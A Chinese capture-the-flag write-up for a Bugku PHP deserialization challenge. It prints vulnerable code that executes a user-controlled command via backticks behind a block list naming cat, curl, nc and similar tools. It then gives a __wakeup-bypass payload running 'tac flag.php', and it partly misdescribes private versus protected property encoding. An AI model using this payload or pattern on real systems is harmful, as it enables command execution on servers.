Bugku WEB 安慰奖

<?php

header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->"; #base64解码，backups
class ctf
{
    protected $username = 'hack';
    protected $cmd = 'NULL';
    public function __construct($username,$cmd)
    {
        $this->username = $username;
        $this->cmd = $cmd;
    }
    function __wakeup()
    {
        $this->username = 'guest';
    }

    function __destruct()
    {
        if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
        {
            exit('</br>flag能让你这么容易拿到吗？<br>');
        }
        if ($this->username === 'admin')
        {
           // echo "<br>right!<br>";
            $a = `$this->cmd`;
            var_dump($a);
        }else
        {
            echo "</br>给你个安慰奖吧，hhh！</br>";
            die();
        }
    }
}
    $select = $_GET['code'];
    $res=unserialize(@$select);
?>

代码分析，construct方法可以让外部来的username和cmd变量替代内部的protected的username和cmd
但是经过尝试，普通变量肯定不行，只好尝试权限比protected高的private变量
当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行
destruct方法过滤了一堆命令
但是两个反引号明显是存在远程命令调用的
所以tac命令可以成功绕过，那么思路已经很清晰
序列化一个ctf对象，其中username，cmd必须是private变量，cmd命令用tac命令，用多于两个属性值的对象就可以禁用wakeup方法
构造payload：

O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:12:"tac flag.php";}

O 代表对象 因为我们序列化的是一个对象
3 代表类名字占三个字符
ctf 类名
3 代表三个属性，因为需要绕过__wakeup()函数，所以比实际属性个数2大
s代表字符串
11代表属性名长度
username 属性名
s:5:“admin” 字符串 属性值长度 属性值

private属性被序列化的时候属性值会变成%00类名%00属性名,根据规则进行修改
参考视频链接：https://www.bilibili.com/video/BV1KK4y1u7DF/